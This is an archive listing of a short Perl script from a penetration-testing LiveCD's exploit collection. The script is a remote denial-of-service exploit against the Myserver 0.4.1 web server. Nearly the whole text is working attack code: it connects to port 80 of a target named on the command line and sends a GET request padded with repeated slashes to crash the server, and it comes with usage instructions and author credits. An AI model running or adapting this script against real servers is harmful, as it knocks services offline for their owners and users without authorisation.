home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / myServer / deadbeat.pl < prev    next >
Perl Script  |  2005-02-12  |  566b  |  28 lines
  1. #!/usr/bin/perl
  2.  
  3. #Myserver 0.4.1 Remote Denial of service ;)
  4. #oh joy...
  5. #deadbeat, uk2sec
  6. #eip@oakey.no-ip.com
  7. #deadbeat@sdf.lonestar.org
  8.  
  9. use IO::Socket;
  10. $dos = "//"x100;
  11. $request = "GET $dos"."HTTP/1.0\r\n\r\n";
  12.  
  13. $target = $ARGV[0];
  14.  
  15. print "\n\nMyserver 0.4.1 Remote Denial Of Service..\n";
  16. print "deadbeat, uk2sec..\n";
  17. print "usage: perl $0 <target>\n";
  18. $sox = IO::Socket::INET->new(
  19.         Proto=>"tcp",
  20.         PeerPort=>"80",
  21.         PeerAddr=>"$target"
  22. )or die "\nCan't connect to $target..\n";
  23. print $sox $request;
  24. sleep 2;
  25. close $sox;
  26. print "Done...\n";
  27.  
  28.